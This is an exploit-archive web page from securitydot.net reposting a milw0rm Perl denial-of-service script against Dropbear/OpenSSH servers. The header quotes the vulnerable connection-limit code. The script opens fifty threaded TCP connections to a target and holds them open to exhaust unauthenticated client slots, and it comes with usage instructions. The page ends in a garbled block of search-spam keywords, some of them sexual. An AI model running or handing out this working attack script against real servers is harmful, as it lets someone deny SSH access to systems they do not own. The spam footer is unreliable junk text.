about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service



2006-03-10 Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service
Rated as : Moderate Risk

#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code
running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#        if (childpipes[j] < 0) {
#                break;
#        }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#        /* no free connections */
#        /* TODO - possibly log, though this would be an easy way
#         * to fill logs/disk */
#        close(childsock);
#        continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

my $serv     =  $ARGV[0];
my $port     =  $ARGV[1];
my $time     =  $ARGV[2];

sub usage
{
	print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of
Service Exploit\n";
	print "by /str0ke (milw0rm.com)\n";
	print "Credits to Pablo Fernandez\n";
	print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold
attack]\n";
	exit ();
}

sub exploit
{
	my ($serv, $port, $sleep) = @_;
	my $sock = new IO::Socket::INET ( PeerAddr => $serv,
	PeerPort => $port,
	Proto => 'tcp',
	);

	die "Could not create socket: $!\n" unless $sock;
	sleep $sleep;
	close($sock);
}

sub thread {
	my $i=1;
	print "Server: $serv\nPort: $port\nSeconds: $time\n";
	while($i < 51){
		print ".";
		my $thr = new Thread \&exploit, $serv, $port, $time;
		$i++;
	}
	sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}
securitydot.net - 2006-03-10

Advertising

Copyright 2007, SecurityDot
Sat, 22 Nov 2008 14:34:36 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
t839t telugu sex Picturepon malliga Www.Sex5g. t839t Leg back t99t www.phoner xstreamsat womensfoot t757t Teanage se mambo Remo www.sex ar t2t www.yobt,c W.w.w.sexm php remote PHP+Fushio www.sex ar t707t t707t Thirisa se ruby on ra www.xvedio 200 /compo db ftp WWW XNXXCO www.bedroo /search/ex SecurityDo Invision P t17t www.bedroo t39t mysql 4.1. Sexy Vide VIDEOS FOR /search/ex WWW..India need for s www..89 MP3 Big tits y8.com 2.0.23 t22t CMS is Fre